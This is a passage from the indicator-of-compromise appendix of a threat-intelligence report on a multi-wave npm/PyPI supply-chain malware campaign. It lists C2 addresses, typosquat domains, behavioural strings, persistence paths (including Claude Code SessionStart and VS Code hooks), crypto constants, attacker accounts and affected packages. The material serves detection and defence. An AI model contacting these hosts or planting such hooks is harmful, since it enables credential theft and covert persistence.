45.148.10.212Trivy C2Pre-W1Prior wave
46.151.182.203Related TeamPCP infrastructurePre-W1Prior wave
83.142.209.194Wave 2 Python variant C2 / GitHub fallbackW2
45.80.158.93Rust binary Tor clearnet fallback (ports 143, 1438)W2
86.14.169.71Rust binary Tor clearnet fallback (port 443)W2
195.176.3.23Rust binary additional clearnet fallbackW2Static RE 2026-05-13
23.108.55.71Rust binary additional clearnet fallbackW2Static RE 2026-05-13
91.92.109.23Rust binary additional clearnet fallbackW2Static RE 2026-05-13
5.39.81.102Dynamic analysis contact (OVH/Kimsufi, Lille FR - ks3268576.kimsufi.com)W2HA dynamic 2026-05-14
45.76.61.27Dynamic analysis contact (Vultr, Atlanta US)W2HA dynamic 2026-05-14
45.84.107.84Dynamic analysis contact (QuxLabs AB, Stockholm SE)W2HA dynamic 2026-05-14
80.94.92.99Dynamic analysis contact (UNMANAGED LTD, AS47890, Timișoara RO - bulletproof hosting)W2HA dynamic 2026-05-14

12.4 Domains

DomainRoleWaveStatus
checkmarx[.]cxC2 apex typosquatW1NXDOMAIN as of May 1
audit.checkmarx[.]cxPrimary exfil endpointW1NXDOMAIN as of May 1
checkmarx[.]zoneKICS wave C2Pre-W1Prior wave
scan.aquasecurtiy[.]orgTrivy typosquatPre-W1Prior wave
models.litellm[.]cloudLiteLLM C2Pre-W1Prior wave
whereisitat[.]lucyatemysuperbox[.]spacexinference C2Pre-W1Prior wave
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioICP blockchain C2Pre-W1Cannot be sinkholed
git-tanstack[.]comWave 2 primary C2 typosquatW2
api.masscan[.]cloudWave 2 additional C2W2
seed1.getsession[.]orgSession decentralized C2W2
seed2.getsession[.]orgSession decentralized C2W2
seed3.getsession[.]orgSession decentralized C2W2
filev2.getsession[.]orgSession file server (exfil)W2Cannot be sinkholed
1cpur2zdsv762uzyoyzma6pvzz4a2xhv64zdouxpjlu3exyks7gh7leyd.onionTor v3 hidden service C2W2Rust binary only
ringxn--dateInitFastTime[.]comSuspicious domain in Sample B binary strings - currently NXDOMAIN; possible dead C2 or DGA output; xn-- IDNA prefix on all-ASCII label is anomalousW2Investigation pending

Session Recipient ID: 05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026

12.5 Behavioral Indicators

IndicatorContextWave
A Mini Shai-Hulud has AppearedRepo description - dead-drop canaryW1
Checkmarx Configuration StorageRepo description - alternate canaryW1
OhNoWhatsGoingOnWithGitHubGit commit message prefix - token exfilW1
beautifulcastleInternal hardcoded stringW1
LongLiveTheResistanceAgainstMachinesInternal hardcoded stringW1
__DAEMONIZEDEnvironment flag - daemon self-checkW1
Exiting as russian language detected!CIS kill switch log stringW1
Shai-Hulud: Here We Go AgainRepo description - Wave 2 primary canaryW2
PUSH UR T3MPRRRepo description - Python variant dead dropsW2
Mini Shai-Hulud has appeared.Repo description - alternate Wave 2 canaryW2
IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwnerGit commit message - wiper threat + embedded tokenW2
FIRESCALECommit keyword - internal campaign codenameW2
thebeautifulmarchoftime (trailing space)GitHub commit search - C2 domain rotation beaconW2
thebeautifulsnadsoftimeGitHub commit search - token recoveryW2
gh-token-monitorPersistence daemon name (macOS + Linux)W2
hbresp miner_configRust binary heartbeat ACK - XMRig config deliveryW2
[+] Agent starting...Rust binary lifecycle stringW2
=== HEARTBEAT #Rust binary heartbeat counter prefixW2
[+] Connection established, starting heartbeatRust binary Tor C2 handshakeW2
[-] Miner process died, restartingRust binary XMRig watchdogW2
AFWDdf42+qkXjYsC1yI5GiuRmPxSBJEh9Lzr3nvwol86Mpt0KZgUcbH7eNQ/TaVOCustom base64 alphabet - unique YARA targetW2
OpenChanMsgR2R / OpenChanMsgC2R / OpenChanMsgR2CP2P agent mesh protocol stringsW2
abad lpe encLPE module internal label - zero legitimate usesW2
python3-csuwhoamiLPE execution chain string (python3 → su → whoami)W2
authencesn(hmac(sha256),cbc(aes))LPE AF_ALG kernel cipherW2
bypass_2fascriptspreinstall./.claude/settingsExplicit npm bypass_2fa capabilityW2
codeql_analysis.yml (unexpected creation)Injected workflow as github-advanced-security[bot]W2
claude@users.noreply.github.comSpoofed build poisoning commit authorW2
kworker/0:1-eventsExact process masquerade name set via prctl(PR_SET_NAME) - offset 268,529 in Sample BW2
[+] Timestomp successfulPost-deploy timestamp manipulation confirmationW2
Panic handler installedRust binary startup sequence - operator telemetryW2
Collecting hardware IDDMI/BIOS hardware fingerprint phaseW2
Checking for cloud providerAWS/Azure/GCP IMDS sequential probeW2
[-] No cloud provider detectedIMDS probe negative resultW2
inside ci envCI environment branch label - adjusts behaviorW2
BIOS3DMI hardware ID field label - victim fingerprintingW2
HiddenServiceProofOfWorkV1MaxEffortTor PoW hardening directiveW2
PowParamsV1Tor PoW parameter typeW2
vanguards-hs-serviceTor Vanguards guard protection directiveW2
hooksSessionStartmatcher./settingsSample B Claude Code SessionStart hook - zero legitimate usesW2
ringxn--dateInitFastTimeAnomalous domain fragment in binary strings - xn-- prefix on all-ASCII labelW2
ConsensusInvalidTor arti client consensus status stringW2
/usr/bin/udevadm (exec)Sample B calls udevadm to read DMI/BIOS data as first act in new process - confirmed by any.run behavioral stream; immediately followed by self-termination in sandboxW2

12.6 Persistence Paths

PlatformPathNotesWave
Any.claude/settings.jsonClaude Code SessionStart persistence hookW1
Any.vscode/tasks.jsonVS Code folderOpen persistence hookW1
Any.claude/execution.jsWave 1 JS harvesterW1
Any.github/workflows/format-check.ymlWave 1 CI injectionW1
macOS~/Library/LaunchAgents/com.user.gh-token-monitor.plistWiper daemonW2
Linux~/.config/systemd/user/gh-token-monitor.serviceWiper daemonW2
Any.claude/settingsRust binary self-install pathW2
Any.claude/binaryRust binary alternate pathW2
Any.claude/router_runtime.js, .vscode/router_runtime.jsTypeScript runtimeW2
Any.claude/setup.mjs, .vscode/setup.mjsLoader persistenceW2
Any.github/workflows/codeql_analysis.ymlSecrets-dumping workflowW2
Repobuild.rsPoisoned Rust build fileW2
Reposetup.py, pyproject.tomlPoisoned Python build filesW2
RepoCMakeLists.txt, conanfile.py, portfile.cmakePoisoned C/C++ build filesW2

12.7 Crypto Constants (Attribution / YARA)

ConstantValueWave
PBKDF2 saltctf-scramble-v2W1
PBKDF2 master key5012caa5847ae9261dfa16f91417042f367d6bed149c3b8af7a50b203a093007W1
Derived obfuscation keyfd4b0f07b27e8f41bc70b8e2b79d168fb3fe80d7e0b37f43c506136a3418b44dW1
PBKDF2 saltsvksjrhjkcejgW2
PBKDF2 master key0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2176c40aaW2
RSA-4096 public key header (stable across all waves)MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA55aMQwvJuy++UvFmWrPWAll
Rust binary custom base64 alphabetAFWDdf42+qkXjYsC1yI5GiuRmPxSBJEh9Lzr3nvwol86Mpt0KZgUcbH7eNQ/TaVOW2
Rust binary crate symbol (Rust name-mangled)CscsgVyfp85S5_2ssW2
Rust binary compilerrustc 1.97.0-nightly (f964de49b 2026-05-07), GCC 16.1.1 20260430, LLD 22.1.4W2

12.8 Attacker GitHub Accounts

AccountRoleWave
gruposbftechrecruiterAttacker staging; opened SAP malicious PR; UTC-3 commit timezoneW1
voicproducoesAttacker staging; TanStack fork + cache poisoning; also has W1 dead-drop (cross-wave)W2
g00dfe11owPublished open-source malware MIT; git email TeamPCPW2
PedroTortorielloFork of g00dfe11ow; commit da10861 identicalW2
enge31Rust binary delivery via crypto-javascri + cryptox; git email enge31980@outlook.comW2
Gimpy9587Wave 2 primary exfil (306 repos); GitHub ID 156470107; automated malware (you@example.com)W2
SnailRocketDevWave 2 exfil (98 repos); GitHub ID 241847560W2

12.9 Compromised Exfil Accounts (Victim Developer Accounts)

The following accounts had GitHub OAuth tokens stolen and used as exfil infrastructure. They are victims. Identities withheld per GDPR.

Wave 1: 10 compromised developer accounts - identities withheld per GDPR. Combined they hosted 741+ dead-drop repositories across timezone patterns spanning Eastern Europe, India, and Australia/Pacific.

Wave 2: 1 compromised developer account used as secondary exfil infrastructure - identity withheld per GDPR.

12.10 Compromised npm / PyPI Packages

Wave 1 (SAP ecosystem): mbt@1.2.48, @cap-js/sqlite@2.2.2, @cap-js/postgres@2.2.2, @cap-js/db-service@2.10.1, @bitwarden/cli@2026.4.0

Wave 2 (170+ packages): @tanstack/* (42 packages, 84 versions), @uipath/* (60–70 packages), @squawk/* (20+), @mistralai/mistralai, guardrails-ai, mistralai==2.4.6 (PyPI), guardrails-ai==0.10.1 (PyPI), crypto-javascri@1.3.6 (npm typosquat), cryptox (PyPI typosquat), and dozens more

Prior waves: @kics-cli variant, LiteLLM packages, Telnyx packages, Trivy variant

12.11 Repo Naming Regex

(sardaukar|mentat|fremen|atreides|harkonnen|gesserit|prescient|
 fedaykin|tleilaxu|siridar|kanly|sayyadina|ghola|powindah|prana|
 kralizec)-(sandworm|ornithopter|heighliner|stillsuit|lasgun|sietch|
 melange|thumper|navigator|futar|slig|phibian|laza|cogitor|ghola)-\d{1,3}

*Crimson7 threat hunt team publishes original threat intelligence under TLP. All IOCs are free to use, share, and incorporate into defensive tooling without attribution required - though attribution is appreciated. No victim-identifying information (email addresses, employee names, or unannounced organizational victims) has been published in this post. Affected organizations were notified via responsible disclosure channels. The malware source code referenced in this post was published publicly by the attacker under MIT license; we have linked to nothing that was not already public.